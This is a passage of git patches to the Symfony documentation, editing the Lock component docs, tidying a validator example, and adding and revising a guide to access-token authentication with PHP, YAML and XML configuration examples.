+    collection. Beware that an indexed field's value in MongoDB can be
+    `a maximum of 1024 bytes in length`_ including the structural overhead.
 
 A TTL index must be used to automatically clean up expired locks.
 Such an index can be created manually:
@@ -851,8 +867,8 @@ about `Expire Data from Collections by Setting TTL`_ in MongoDB.
 
 .. tip::
 
-    ``MongoDbStore`` will attempt to automatically create a TTL index.
-    It's recommended to set constructor option ``gcProbablity = 0.0`` to
+    ``MongoDbStore`` will attempt to automatically create a TTL index. It's
+    recommended to set constructor option ``gcProbablity`` to ``0.0`` to
     disable this behavior if you have manually dealt with TTL index creation.
 
 .. caution::
@@ -868,7 +884,7 @@ the collection's settings will take effect.
 Read more about `Replica Set Read and Write Semantics`_ in MongoDB.
 
 PdoStore
-~~~~~~~~~~
+~~~~~~~~
 
 The PdoStore relies on the `ACID`_ properties of the SQL engine.
 
@@ -1022,5 +1038,5 @@ are still running.
 .. _`PHP semaphore functions`: https://www.php.net/manual/en/book.sem.php
 .. _`Replica Set Read and Write Semantics`: https://docs.mongodb.com/manual/applications/replication/
 .. _`ZooKeeper`: https://zookeeper.apache.org/
-.. _`readers–writer lock`: https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock
+.. _`readers-writer lock`: https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock
 .. _`priority policy`: https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock#Priority_policies
diff --git a/lock.rst b/lock.rst
index 5d864fb0089..739c79fcce3 100644
--- a/lock.rst
+++ b/lock.rst
@@ -12,7 +12,7 @@ time to prevent race conditions from happening.
 
 The following example shows a typical usage of the lock::
 
-    $lock = $lockFactory->createLock('pdf-invoice-generation');
+    $lock = $lockFactory->createLock('pdf-creation');
     if (!$lock->acquire()) {
         return;
     }
@@ -22,8 +22,8 @@ The following example shows a typical usage of the lock::
 
     $lock->release();
 
-Installation
-------------
+Installing
+----------
 
 In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
 install the Lock component:
@@ -32,8 +32,8 @@ install the Lock component:
 
     $ composer require symfony/lock
 
-Configuring Lock with FrameworkBundle
--------------------------------------
+Configuring
+-----------
 
 By default, Symfony provides a :ref:`Semaphore <lock-store-semaphore>`
 when available, or a :ref:`Flock <lock-store-flock>` otherwise. You can configure
@@ -58,7 +58,7 @@ this behavior by using the ``lock`` key like:
             lock: 'sqlite:///%kernel.project_dir%/var/lock.db'
             lock: 'mysql:host=127.0.0.1;dbname=app'
             lock: 'pgsql:host=127.0.0.1;dbname=app'
-            lock: 'pgsql+advisory:host=127.0.0.1;dbname=lock'
+            lock: 'pgsql+advisory:host=127.0.0.1;dbname=app'
             lock: 'sqlsrv:server=127.0.0.1;Database=app'
             lock: 'oci:host=127.0.0.1;dbname=app'
             lock: 'mongodb://127.0.0.1/app?collection=lock'
@@ -108,7 +108,7 @@ this behavior by using the ``lock`` key like:
 
                     <framework:resource>pgsql:host=127.0.0.1;dbname=app</framework:resource>
 
-                    <framework:resource>pgsql+advisory:host=127.0.0.1;dbname=lock</framework:resource>
+                    <framework:resource>pgsql+advisory:host=127.0.0.1;dbname=app</framework:resource>
 
                     <framework:resource>sqlsrv:server=127.0.0.1;Database=app</framework:resource>
 
@@ -145,7 +145,7 @@ this behavior by using the ``lock`` key like:
                 ->resource('default', ['sqlite:///%kernel.project_dir%/var/lock.db'])
                 ->resource('default', ['mysql:host=127.0.0.1;dbname=app'])
                 ->resource('default', ['pgsql:host=127.0.0.1;dbname=app'])
-                ->resource('default', ['pgsql+advisory:host=127.0.0.1;dbname=lock'])
+                ->resource('default', ['pgsql+advisory:host=127.0.0.1;dbname=app'])
                 ->resource('default', ['sqlsrv:server=127.0.0.1;Database=app'])
                 ->resource('default', ['oci:host=127.0.0.1;dbname=app'])
                 ->resource('default', ['mongodb://127.0.0.1/app?collection=lock'])
@@ -161,7 +161,7 @@ Locking a Resource
 ------------------
 
 To lock the default resource, autowire the lock factory using
-:class:`Symfony\\Component\\Lock\\LockFactory` (service id ``lock.factory``)::
+:class:`Symfony\\Component\\Lock\\LockFactory`::
 
     // src/Controller/PdfController.php
     namespace App\Controller;
@@ -200,8 +200,8 @@ Locking a Dynamic Resource
 
 Sometimes the application is able to cut the resource into small pieces in order
 to lock a small subset of processes and let others through. The previous example
-showed how to lock the ``$pdf->getOrCreatePdf('terms-of-use')`` for everybody,
-now let's see how to lock ``$pdf->getOrCreatePdf($version)`` only for
+showed how to lock the ``$pdf->getOrCreatePdf()`` call for everybody,
+now let's see how to lock a ``$pdf->getOrCreatePdf($version)`` call only for
 processes asking for the same ``$version``::
 
     // src/Controller/PdfController.php
@@ -217,7 +217,7 @@ processes asking for the same ``$version``::
          */
         public function downloadPdf($version, LockFactory $lockFactory, MyPdfGeneratorService $pdf)
         {
-            $lock = $lockFactory->createLock($version);
+            $lock = $lockFactory->createLock('pdf-creation-'.$version);
             $lock->acquire(true);
 
             // heavy computation
@@ -231,8 +231,8 @@ processes asking for the same ``$version``::
 
 .. _lock-named-locks:
 
-Named Lock
-----------
+Naming Locks
+------------
 
 If the application needs different kind of Stores alongside each other, Symfony
 provides :ref:`named lock <reference-lock-resources-name>`:
@@ -279,13 +279,27 @@ provides :ref:`named lock <reference-lock-resources-name>`:
             ;
         };
 
+An autowiring alias is created for each named lock with a name using the camel
+case version of its name suffixed by ``LockFactory``.
 
-Each name becomes a service where the service id is part of the name of the
-lock (e.g. ``lock.invoice.factory``). An autowiring alias is also created for
-each lock using the camel case version of its name suffixed by ``LockFactory``
-- e.g. ``invoice`` can be injected automatically by naming the argument
+For instance, the ``invoice`` lock can be injected by naming the argument
 ``$invoiceLockFactory`` and type-hinting it with
-:class:`Symfony\\Component\\Lock\\LockFactory`.
+:class:`Symfony\\Component\\Lock\\LockFactory`:
+
+    // src/Controller/PdfController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\Lock\LockFactory;
+
+    class PdfController extends AbstractController
+    {
+        #[Route('/download/terms-of-use.pdf')]
+        public function downloadPdf(LockFactory $invoiceLockFactory, MyPdfGeneratorService $pdf)
+        {
+            // ...
+        }
+    }
 
 Blocking Store
 --------------

From 8fe54b8cb1b68328d31148be37653919a357d4fb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Nov 2022 17:15:30 +0100
Subject: [PATCH 3895/7107] Sort imports alphabetically

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index b527e18b57b..88e8f50b0a5 100644
--- a/templates.rst
+++ b/templates.rst
@@ -461,9 +461,9 @@ to define the template to render::
     // src/Controller/ProductController.php
     namespace App\Controller;
 
+    use Symfony\Bridge\Twig\Attribute\Template;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Bridge\Twig\Attribute\Template;
 
     class ProductController extends AbstractController
     {

From f61ca2aece1126eece00ac4f70e17aa208396c4c Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 26 Nov 2022 10:39:21 +0100
Subject: [PATCH 3896/7107] [Validator] Removal code-block php-annotations

---
 validation/custom_constraint.rst | 57 +++++++++-----------------------
 1 file changed, 15 insertions(+), 42 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index e320cd5e45a..c061c23f682 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -38,54 +38,27 @@ use it as an annotation/attribute in other classes.
 
     The ``#[HasNamedArguments]`` attribute was introduced in Symfony 6.1.
 
-You can use ``#[HasNamedArguments]`` or ``getRequiredOptions()`` to make some constraint options required:
+You can use ``#[HasNamedArguments]`` or ``getRequiredOptions()`` to make some constraint options required::
 
-.. configuration-block::
-
-    .. code-block:: php-annotations
-
-        // src/Validator/ContainsAlphanumeric.php
-        namespace App\Validator;
-
-        use Symfony\Component\Validator\Constraint;
-
-        /**
-         * @Annotation
-         */
-        class ContainsAlphanumeric extends Constraint
-        {
-            public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
-            public $mode;
-
-            public function getRequiredOptions(): array
-            {
-                return ['mode'];
-            }
-        }
-
-    .. code-block:: php-attributes
+    // src/Validator/ContainsAlphanumeric.php
+    namespace App\Validator;
 
-        // src/Validator/ContainsAlphanumeric.php
-        namespace App\Validator;
+    use Symfony\Component\Validator\Attribute\HasNamedArguments;
+    use Symfony\Component\Validator\Constraint;
 
-        use Symfony\Component\Validator\Attribute\HasNamedArguments;
-        use Symfony\Component\Validator\Constraint;
+    #[\Attribute]
+    class ContainsAlphanumeric extends Constraint
+    {
+        public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+        public string $mode;
 
-        #[\Attribute]
-        class ContainsAlphanumeric extends Constraint
+        #[HasNamedArguments]
+        public function __construct(string $mode, array $groups = null, mixed $payload = null)
         {
-            public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
-
-            public string $mode;
-
-            #[HasNamedArguments]
-            public function __construct(string $mode, array $groups = null, mixed $payload = null)
-            {
-                parent::__construct([], $groups, $payload);
-
-                $this->mode = $mode;
-            }
+            parent::__construct([], $groups, $payload);
+            $this->mode = $mode;
         }
+    }
 
 Creating the Validator itself
 -----------------------------

From 600bb80835fc319e1fa87a314d939f30ceb97c3a Mon Sep 17 00:00:00 2001
From: Florent Morselli <contact@spomky-labs.com>
Date: Thu, 11 Aug 2022 13:44:45 +0200
Subject: [PATCH 3897/7107] Access Token Documentation

---
 security.rst              |   9 ++
 security/access_token.rst | 182 ++++++++++++++++++++++++++++++++++++++
 2 files changed, 191 insertions(+)
 create mode 100644 security/access_token.rst

diff --git a/security.rst b/security.rst
index 81a0aa4d0a2..5fe2a26d40d 100644
--- a/security.rst
+++ b/security.rst
@@ -1202,6 +1202,15 @@ website.
 
 You can learn all about this authenticator in :doc:`/security/login_link`.
 
+Access Tokens
+~~~~~~~~~~~~~
+
+Access Tokens are often used in API contexts.
+The user receives a token from an authorization server
+which authenticates them.
+
+You can learn all about this authenticator in :doc:`/security/access_token`.
+
 X.509 Client Certificates
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/security/access_token.rst b/security/access_token.rst
new file mode 100644
index 00000000000..79eb7b9449d
--- /dev/null
+++ b/security/access_token.rst
@@ -0,0 +1,182 @@
+.. index::
+   single: Security; Access Token
+
+How to use Access Token Authentication
+======================================
+
+Access tokens are commonly used in API contexts. The access token is obtained
+through an authorization server (or similar) whose role is to verify the user identity
+and receive consent before the token is issued.
+
+Access Tokens can be of any kind: opaque strings, Json Web Tokens (JWT) or SAML2 (XML structures).
+Please refer to the `RFC6750`_: *The OAuth 2.0 Authorization Framework: Bearer Token Usage*.
+
+Using the Access Token Authenticator
+------------------------------------
+
+This guide assumes you have setup security and have created a user object
+in your application. Follow :doc:`the main security guide </security>` if
+this is not yet the case.
+
+1) Configure the Access Token Authenticator
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+To use the access token authenticator, you must configure a ``token_handler``.
+The token handler retrieves the user identifier from the token.
+In order to get the user identifier, implementations may need to load and validate
+the token (e.g. revocation, expiration time, digital signature...).
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler: App\Security\AccessTokenHandler
+
+This handler shall implement the interface
+:class:`Symfony\\Component\\Security\\Http\\AccessToken\\AccessTokenHandlerInterface`.
+In the following example, the handler will retrieve the token from a database
+using a fictive repository.
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        // src/Security/AccessTokenHandler.php
+        namespace App\Security;
+
+        use App\Repository\AccessTokenRepository;
+        use Symfony\Component\Security\Http\AccessToken\AccessTokenHandlerInterface;
+
+        class AccessTokenHandler implements AccessTokenHandlerInterface
+        {
+            public function __construct(
+                private readonly AccessTokenRepository $repository
+            ) {
+            }
+
+            public function getUserIdentifierFrom(string $token): string
+            {
+                $accessToken = $this->repository->findOneByValue($token);
+                if ($accessToken === null || !$accessToken->isValid()) {
+                    throw new BadCredentialsException('Invalid credentials.');
+                }
+
+                return $accessToken->getUserId();
+            }
+        }
+
+.. caution::
+
+    It is important to check the token is valid.
+    For instance, in the example we verify the token has not expired.
+    With self-contained access tokens such as JWT, the handler is required to
+    verify the digital signature and understand all claims,
+    especially ``sub``, ``iat``, ``nbf`` and ``exp``.
+
+Customizing the Authenticator
+-----------------------------
+
+1) Access Token Extractors
+
+By default, the access token is read from the request header parameter ``Authorization`` with the scheme ``Bearer``.
+You can change the behavior and send the access token through different ways.
+
+This authenticator provides services able to extract the access token as per the RFC6750:
+
+- ``header`` or ``security.access_token_extractor.header``: the token is sent through the request header. Usually ``Authorization`` with the ``Bearer`` scheme.
+- ``query_string`` or ``security.access_token_extractor.query_string``: the token is part of the query string. Usually ``access_token``.
+- ``request_body`` or ``security.access_token_extractor.request_body``: the token is part of the request body during a POST request. Usually ``access_token``.
+
+.. caution::
+
+    Because of the security weaknesses associated with the URI method,
+    including the high likelihood that the URL or the request body containing the access token will be logged,
+    methods ``query_string`` and ``request_body`` **SHOULD NOT** be used unless it is impossible
+    to transport the access token in the request header field.
+
+Also, you can also create a custom extractor. The class shall implement the interface
+:class:`Symfony\\Component\\Security\\Http\\AccessToken\\AccessTokenExtractorInterface`.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler: App\Security\AccessTokenHandler
+                        token_extractors: 'my_custom_access_token_extractor'
+
+It is possible to set multiple extractors.
+In this case, **the order is important**: the first in the list is called first.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler: App\Security\AccessTokenHandler
+                        token_extractors:
+                            - 'header'
+                            - 'request_body'
+                            - 'query_string'
+                            - 'my_custom_access_token_extractor'
+
+2) Customizing the Success Handler
+
+Sometimes, the default success handling does not fit your use-case (e.g.
+when you need to generate and return additional response header parameters).
+To customize how the success handler behaves, create your own handler as a class that implements
+:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`::
+
+    // src/Security/Authentication/AuthenticationSuccessHandler.php
+    namespace App\Security\Authentication;
+
+    use Symfony\Component\HttpFoundation\JsonResponse;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Http\Authentication\AuthenticationSuccessHandlerInterface;
+
+    class AuthenticationSuccessHandler implements AuthenticationSuccessHandlerInterface
+    {
+        public function onAuthenticationSuccess(Request $request, TokenInterface $token): JsonResponse
+        {
+            $user = $token->getUser();
+            $userApiToken = $user->getApiToken();
+
+            return new JsonResponse(['apiToken' => $userApiToken]);
+        }
+    }
+
+Then, configure this service ID as the ``success_handler``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler: App\Security\AccessTokenHandler
+                        success_handler: App\Security\Authentication\AuthenticationSuccessHandler
+
+.. tip::
+
+    If you want to customize the default failure handling, use the
+    ``failure_handler`` option and create a class that implements
+    :class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationFailureHandlerInterface`.
+
+.. _`RFC6750`: https://datatracker.ietf.org/doc/html/rfc6750

From b65c136850d2c50ba8d1b47f3a840a823771b26e Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 5 Nov 2022 15:02:21 +0100
Subject: [PATCH 3898/7107] Finish the docs for the new Access token
 authenticator

---
 security/access_token.rst | 317 +++++++++++++++++++++++++++++---------
 1 file changed, 241 insertions(+), 76 deletions(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 79eb7b9449d..65fd072cc79 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -4,12 +4,16 @@
 How to use Access Token Authentication
 ======================================
 
-Access tokens are commonly used in API contexts. The access token is obtained
-through an authorization server (or similar) whose role is to verify the user identity
-and receive consent before the token is issued.
+Access tokens or API tokens are commonly used as authentication mechanism
+in API contexts. The access token is a string, obtained during authentication
+(using the application or an authorization server). The access token's role
+is to verify the user identity and receive consent before the token is
+issued.
 
-Access Tokens can be of any kind: opaque strings, Json Web Tokens (JWT) or SAML2 (XML structures).
-Please refer to the `RFC6750`_: *The OAuth 2.0 Authorization Framework: Bearer Token Usage*.
+Access tokens can be of any kind, for instance opaque strings,
+`JSON Web Tokens (JWT)`_ or `SAML2 (XML structures)`_. Please refer to the
+`RFC6750`_: *The OAuth 2.0 Authorization Framework: Bearer Token Usage* for
+a detailed specification.
 
 Using the Access Token Authenticator
 ------------------------------------
@@ -22,9 +26,10 @@ this is not yet the case.
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 To use the access token authenticator, you must configure a ``token_handler``.
-The token handler retrieves the user identifier from the token.
-In order to get the user identifier, implementations may need to load and validate
-the token (e.g. revocation, expiration time, digital signature...).
+The token handler receives the token from the request and returns the
+correct user identifier. To get the user identifier, implementations may
+need to load and validate the token (e.g. revocation, expiration time,
+digital signature, etc.).
 
 .. configuration-block::
 
@@ -37,69 +42,108 @@ the token (e.g. revocation, expiration time, digital signature...).
                     access_token:
                         token_handler: App\Security\AccessTokenHandler
 
-This handler shall implement the interface
-:class:`Symfony\\Component\\Security\\Http\\AccessToken\\AccessTokenHandlerInterface`.
-In the following example, the handler will retrieve the token from a database
-using a fictive repository.
-
-.. configuration-block::
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token token-handler="App\Security\AccessTokenHandler"/>
+                </firewall>
+            </config>
+        </srv:container>
 
     .. code-block:: php
 
-        // src/Security/AccessTokenHandler.php
-        namespace App\Security;
+        // config/packages/security.php
+        use App\Security\AccessTokenHandler;
+        use Symfony\Config\SecurityConfig;
 
-        use App\Repository\AccessTokenRepository;
-        use Symfony\Component\Security\Http\AccessToken\AccessTokenHandlerInterface;
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler(AccessTokenHandler::class)
+            ;
+        };
 
-        class AccessTokenHandler implements AccessTokenHandlerInterface
-        {
-            public function __construct(
-                private readonly AccessTokenRepository $repository
-            ) {
-            }
+This handler must implement
+:class:`Symfony\\Component\\Security\\Http\\AccessToken\\AccessTokenHandlerInterface`::
+
+    // src/Security/AccessTokenHandler.php
+    namespace App\Security;
 
-            public function getUserIdentifierFrom(string $token): string
-            {
-                $accessToken = $this->repository->findOneByValue($token);
-                if ($accessToken === null || !$accessToken->isValid()) {
-                    throw new BadCredentialsException('Invalid credentials.');
-                }
+    use App\Repository\AccessTokenRepository;
+    use Symfony\Component\Security\Http\AccessToken\AccessTokenHandlerInterface;
 
-                return $accessToken->getUserId();
+    class AccessTokenHandler implements AccessTokenHandlerInterface
+    {
+        public function __construct(
+            private AccessTokenRepository $repository
+        ) {
+        }
+
+        public function getUserIdentifierFrom(string $token): string
+        {
+            // e.g. query the "access token" database to search for this token
+            $accessToken = $this->repository->findOneByValue($token);
+            if ($accessToken === null || !$accessToken->isValid()) {
+                throw new BadCredentialsException('Invalid credentials.');
             }
+
+            // and return the user identifier from the found token
+            return $accessToken->getUserId();
         }
+    }
+
+The access token authenticator will use the returned user identifier to
+load the user using the :ref:`user provider <security-user-providers>`.
 
 .. caution::
 
-    It is important to check the token is valid.
-    For instance, in the example we verify the token has not expired.
-    With self-contained access tokens such as JWT, the handler is required to
-    verify the digital signature and understand all claims,
-    especially ``sub``, ``iat``, ``nbf`` and ``exp``.
+    It is important to check the token if is valid. For instance, the
+    example above verifies whether the token has not expired. With
+    self-contained access tokens such as JWT, the handler is required to
+    verify the digital signature and understand all claims, especially
+    ``sub``, ``iat``, ``nbf`` and ``exp``.
 
-Customizing the Authenticator
------------------------------
+2) Configure the Token Extractor (Optional)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-1) Access Token Extractors
+The application is now ready to handle incoming tokens. A *token extractor*
+retrieves the token from the request (e.g. a header or request body).
 
-By default, the access token is read from the request header parameter ``Authorization`` with the scheme ``Bearer``.
-You can change the behavior and send the access token through different ways.
+By default, the access token is read from the request header parameter
+``Authorization`` with the scheme ``Bearer`` (e.g. ``Authorization: Bearer
+the-token-value``).
 
-This authenticator provides services able to extract the access token as per the RFC6750:
+Symfony provides other extractors as per the `RFC6750`_:
 
-- ``header`` or ``security.access_token_extractor.header``: the token is sent through the request header. Usually ``Authorization`` with the ``Bearer`` scheme.
-- ``query_string`` or ``security.access_token_extractor.query_string``: the token is part of the query string. Usually ``access_token``.
-- ``request_body`` or ``security.access_token_extractor.request_body``: the token is part of the request body during a POST request. Usually ``access_token``.
+``header`` (default)
+    The token is sent through the request header. Usually ``Authorization``
+    with the ``Bearer`` scheme.
+``query_string``
+    The token is part of the request query string. Usually ``access_token``.
+``request_body``
+    The token is part of the request body during a POST request. Usually
+    ``access_token``.
 
 .. caution::
 
     Because of the security weaknesses associated with the URI method,
-    including the high likelihood that the URL or the request body containing the access token will be logged,
-    methods ``query_string`` and ``request_body`` **SHOULD NOT** be used unless it is impossible
-    to transport the access token in the request header field.
+    including the high likelihood that the URL or the request body
+    containing the access token will be logged, methods ``query_string``
+    and ``request_body`` **SHOULD NOT** be used unless it is impossible to
+    transport the access token in the request header field.
 
-Also, you can also create a custom extractor. The class shall implement the interface
+You can also create a custom extractor. The class must implement
 :class:`Symfony\\Component\\Security\\Http\\AccessToken\\AccessTokenExtractorInterface`.
 
 .. configuration-block::
@@ -112,10 +156,60 @@ Also, you can also create a custom extractor. The class shall implement the inte
                 main:
                     access_token:
                         token_handler: App\Security\AccessTokenHandler
-                        token_extractors: 'my_custom_access_token_extractor'
 
-It is possible to set multiple extractors.
-In this case, **the order is important**: the first in the list is called first.
+                        # use a different built-in extractor
+                        token_extractors: request_body
+
+                        # or provide the service ID of a custom extractor
+                        token_extractors: 'App\Security\CustomTokenExtractor'
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token token-handler="App\Security\AccessTokenHandler">
+                        <!-- use a different built-in extractor -->
+                        <token-extractor>request_body</token-extractor>
+
+                        <!-- or provide the service ID of a custom extractor -->
+                        <token-extractor>App\Security\CustomTokenExtractor</token-extractor>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\AccessTokenHandler;
+        use App\Security\CustomTokenExtractor;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler(AccessTokenHandler::class)
+
+                    // use a different built-in extractor
+                    ->tokenExtractors('request_body')
+
+                    # or provide the service ID of a custom extractor
+                    ->tokenExtractors(CustomTokenExtractor::class)
+            ;
+        };
+
+It is possible to set multiple extractors. In this case, **the order is
+important**: the first in the list is called first.
 
 .. configuration-block::
 
@@ -129,37 +223,70 @@ In this case, **the order is important**: the first in the list is called first.
                         token_handler: App\Security\AccessTokenHandler
                         token_extractors:
                             - 'header'
-                            - 'request_body'
-                            - 'query_string'
-                            - 'my_custom_access_token_extractor'
+                            - 'App\Security\CustomTokenExtractor'
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token token-handler="App\Security\AccessTokenHandler">
+                        <token-extractor>header</token-extractor>
+                        <token-extractor>App\Security\CustomTokenExtractor</token-extractor>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
 
-2) Customizing the Success Handler
+    .. code-block:: php
 
-Sometimes, the default success handling does not fit your use-case (e.g.
-when you need to generate and return additional response header parameters).
-To customize how the success handler behaves, create your own handler as a class that implements
-:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`::
+        // config/packages/security.php
+        use App\Security\AccessTokenHandler;
+        use App\Security\CustomTokenExtractor;
+        use Symfony\Config\SecurityConfig;
 
-    // src/Security/Authentication/AuthenticationSuccessHandler.php
-    namespace App\Security\Authentication;
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler(AccessTokenHandler::class)
+                    ->tokenExtractors([
+                        'header',
+                        CustomTokenExtractor::class,
+                    ])
+            ;
+        };
 
-    use Symfony\Component\HttpFoundation\JsonResponse;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
-    use Symfony\Component\Security\Http\Authentication\AuthenticationSuccessHandlerInterface;
+3) Submit a Request
+~~~~~~~~~~~~~~~~~~~
 
-    class AuthenticationSuccessHandler implements AuthenticationSuccessHandlerInterface
-    {
-        public function onAuthenticationSuccess(Request $request, TokenInterface $token): JsonResponse
-        {
-            $user = $token->getUser();
-            $userApiToken = $user->getApiToken();
+That's it! Your application can now authenticate incoming requests using an
+API token.
 
-            return new JsonResponse(['apiToken' => $userApiToken]);
-        }
-    }
+Using the default header extractor, you can test the feature by submitting
+a request like this:
 
-Then, configure this service ID as the ``success_handler``:
+.. code-block:: terminal
+
+    $ curl -H 'Authorization: Bearer an-accepted-token-value' \
+        https://localhost:8000/api/some-route
+
+Customizing the Success Handler
+-------------------------------
+
+By default, the request continues (e.g. the controller for the route is
+run). If you want to customize success handling, create your own success
+handler by creating a class that implements
+:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`
+and configure the service ID as the ``success_handler``:
 
 .. configuration-block::
 
@@ -173,10 +300,48 @@ Then, configure this service ID as the ``success_handler``:
                         token_handler: App\Security\AccessTokenHandler
                         success_handler: App\Security\Authentication\AuthenticationSuccessHandler
 
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token token-handler="App\Security\AccessTokenHandler"
+                        success-handler="App\Security\Authentication\AuthenticationSuccessHandler"
+                    />
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\AccessTokenHandler;
+        use App\Security\Authentication\AuthenticationSuccessHandler;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler(AccessTokenHandler::class)
+                    ->successHandler(AuthenticationSuccessHandler::class)
+            ;
+        };
+
 .. tip::
 
     If you want to customize the default failure handling, use the
     ``failure_handler`` option and create a class that implements
     :class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationFailureHandlerInterface`.
 
+.. _`Json Web Tokens (JWT)`: https://datatracker.ietf.org/doc/html/rfc7519
+.. _`SAML2 (XML structures)`: https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html
 .. _`RFC6750`: https://datatracker.ietf.org/doc/html/rfc6750

From f3f47adb6446934f6b5338825e5cb7a2fe7fae1b Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent@morselli.fr>
Date: Fri, 25 Nov 2022 09:40:47 +0100
Subject: [PATCH 3899/7107] Update docs for 6.2.0-RC1 changes to
 TokenHandlerInterface

Co-authored-by: Vincent <vincentchalamon@protonmail.com>
---
 security/access_token.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 65fd072cc79..e29267585c6 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -82,6 +82,7 @@ This handler must implement
 
     use App\Repository\AccessTokenRepository;
     use Symfony\Component\Security\Http\AccessToken\AccessTokenHandlerInterface;
